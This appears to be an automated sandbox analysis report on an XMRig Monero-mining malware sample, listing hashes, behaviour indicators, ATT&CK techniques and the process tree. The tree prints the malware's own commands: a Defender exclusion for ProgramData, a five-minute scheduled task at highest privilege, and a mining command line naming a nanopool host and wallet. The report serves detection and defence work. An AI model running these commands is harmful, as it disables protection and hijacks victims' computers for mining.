xmrig | 2cb5f7af0042942561bba8bdfbecf4fea3d8f7fd4e877a9ec0b84c22cf2c7b22

Analysis

max time kernel
138s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
05/11/2022, 17:27

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General

Target
ad9adce65bee18c9575cf321e7d3b435.exe
Size 1.8MB
Sample221105-v1emxabbam
SHA256 2cb5f7af0042942561bba8bdfbecf4fea3d8f7fd4e877a9ec0b84c22cf2c7b22
MD5 ad9adce65bee18c9575cf321e7d3b435
SHA1 6270ca78f062db4282514b904a1c4dba9f5c3b02
SHA512 ce23fb97f8b2be4963856ce317818ec61f8bfeddc6c36f57b177819a1ab779f49e5646351cd99fb91584d41becb1aae2f000f8b42883ce0e7968c44c9507628d
SSDEEP 12288:dPnwsYtpnlWlussB7Di5teLVkbMLcshEYxInP3fHvanPvLww3QqbNnJP6u0JY5CM:BFYtBlwussgLehov0wnMNJPrNC48g
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/396-154-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/396-153-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/396-155-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/396-156-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/396-158-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/396-160-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
3724	AVPTQBAEW.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	AVPTQBAEW.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3724 set thread context of 396	3724	AVPTQBAEW.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5084	3724	WerFault.exe	90

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4276	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2080	timeout.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3632	powershell.exe
3632	powershell.exe
356	powershell.exe
356	powershell.exe
3724	AVPTQBAEW.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
632	Process not Found

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1368	ad9adce65bee18c9575cf321e7d3b435.exe
Token: SeDebugPrivilege	3632	powershell.exe
Token: SeDebugPrivilege	3724	AVPTQBAEW.exe
Token: SeDebugPrivilege	356	powershell.exe
Token: SeLockMemoryPrivilege	396	vbc.exe
Token: SeLockMemoryPrivilege	396	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
396	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 3632	1368	ad9adce65bee18c9575cf321e7d3b435.exe	84
PID 1368 wrote to memory of 3632	1368	ad9adce65bee18c9575cf321e7d3b435.exe	84
PID 1368 wrote to memory of 4928	1368	ad9adce65bee18c9575cf321e7d3b435.exe	86
PID 1368 wrote to memory of 4928	1368	ad9adce65bee18c9575cf321e7d3b435.exe	86
PID 4928 wrote to memory of 2080	4928	cmd.exe	88
PID 4928 wrote to memory of 2080	4928	cmd.exe	88
PID 4928 wrote to memory of 3724	4928	cmd.exe	90
PID 4928 wrote to memory of 3724	4928	cmd.exe	90
PID 3724 wrote to memory of 356	3724	AVPTQBAEW.exe	93
PID 3724 wrote to memory of 356	3724	AVPTQBAEW.exe	93
PID 3724 wrote to memory of 3292	3724	AVPTQBAEW.exe	95
PID 3724 wrote to memory of 3292	3724	AVPTQBAEW.exe	95
PID 3292 wrote to memory of 4276	3292	cmd.exe	97
PID 3292 wrote to memory of 4276	3292	cmd.exe	97
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98
PID 3724 wrote to memory of 396	3724	AVPTQBAEW.exe	98

C:\Users\Admin\AppData\Local\Temp\ad9adce65bee18c9575cf321e7d3b435.exe
"C:\Users\Admin\AppData\Local\Temp\ad9adce65bee18c9575cf321e7d3b435.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA1E2.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4928
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2080
- - C:\ProgramData\WindowsMail\AVPTQBAEW.exe
    "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:356
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3292
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:4276
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:396
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3724 -s 3752
      4⤵
      Program crash
      PID:5084

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 420 -p 3724 -ip 3724
1⤵
PID:4416

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

AVPTQBAEW.exe

Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
Size 1.8MB
SHA256 2cb5f7af0042942561bba8bdfbecf4fea3d8f7fd4e877a9ec0b84c22cf2c7b22
MD5 ad9adce65bee18c9575cf321e7d3b435
SHA1 6270ca78f062db4282514b904a1c4dba9f5c3b02
SHA512 ce23fb97f8b2be4963856ce317818ec61f8bfeddc6c36f57b177819a1ab779f49e5646351cd99fb91584d41becb1aae2f000f8b42883ce0e7968c44c9507628d
SSDEEP 12288:dPnwsYtpnlWlussB7Di5teLVkbMLcshEYxInP3fHvanPvLww3QqbNnJP6u0JY5CM:BFYtBlwussgLehov0wnMNJPrNC48g
MD5 SHA1 SHA512 SSDEEP

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AVPTQBAEW.exe

Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
Size 1.8MB
SHA256 2cb5f7af0042942561bba8bdfbecf4fea3d8f7fd4e877a9ec0b84c22cf2c7b22
MD5 ad9adce65bee18c9575cf321e7d3b435
SHA1 6270ca78f062db4282514b904a1c4dba9f5c3b02
SHA512 ce23fb97f8b2be4963856ce317818ec61f8bfeddc6c36f57b177819a1ab779f49e5646351cd99fb91584d41becb1aae2f000f8b42883ce0e7968c44c9507628d
SSDEEP 12288:dPnwsYtpnlWlussB7Di5teLVkbMLcshEYxInP3fHvanPvLww3QqbNnJP6u0JY5CM:BFYtBlwussgLehov0wnMNJPrNC48g
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
MD5 SHA1 SHA512

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tmpA1E2.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpA1E2.tmp.bat
Size 149B
SHA256 15dcb396d4dcbd00ba1c2d687c12e04f90edbb3e75a9d2ff331668a56eaf5e04
MD5 8f9287a4ca4706d053fbfc5f5d351eef
SHA1 b5a5a984a5945c0fc1ca05c7293c301b6a8d0ac4
SHA512 58535643685621dd5eca420bc9fc1e784d9678e8c85dcc21d493a7f6ea3d9a8529f1ab8dd76de24d52e340338fe88cf97897fee5a26cb1fb85cbc9fa0d545a00
MD5 SHA1 SHA512

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memory/356-151-0x00007FFBFE7D0000-0x00007FFBFF291000-memory.dmp

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memory/396-156-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/396-165-0x0000022219450000-0x0000022219470000-memory.dmp

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memory/396-164-0x0000022219470000-0x0000022219490000-memory.dmp

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memory/396-163-0x0000022219450000-0x0000022219470000-memory.dmp

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memory/396-162-0x0000022219470000-0x0000022219490000-memory.dmp

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memory/396-161-0x00000221853E0000-0x0000022185420000-memory.dmp

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memory/396-160-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/396-158-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/396-157-0x0000022185380000-0x00000221853A0000-memory.dmp

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memory/396-155-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/396-153-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/1368-136-0x00007FFBFE880000-0x00007FFBFF341000-memory.dmp

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memory/1368-133-0x00007FFBFE880000-0x00007FFBFF341000-memory.dmp

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memory/1368-132-0x00000000000B0000-0x000000000027C000-memory.dmp

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memory/3632-140-0x00007FFBFE880000-0x00007FFBFF341000-memory.dmp

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memory/3632-141-0x00007FFBFE880000-0x00007FFBFF341000-memory.dmp

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memory/3632-137-0x000001694E600000-0x000001694E622000-memory.dmp

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memory/3724-145-0x00007FFBFE7D0000-0x00007FFBFF291000-memory.dmp

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memory/3724-152-0x00007FFBFE7D0000-0x00007FFBFF291000-memory.dmp

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memory/3724-159-0x00007FFBFE7D0000-0x00007FFBFF291000-memory.dmp

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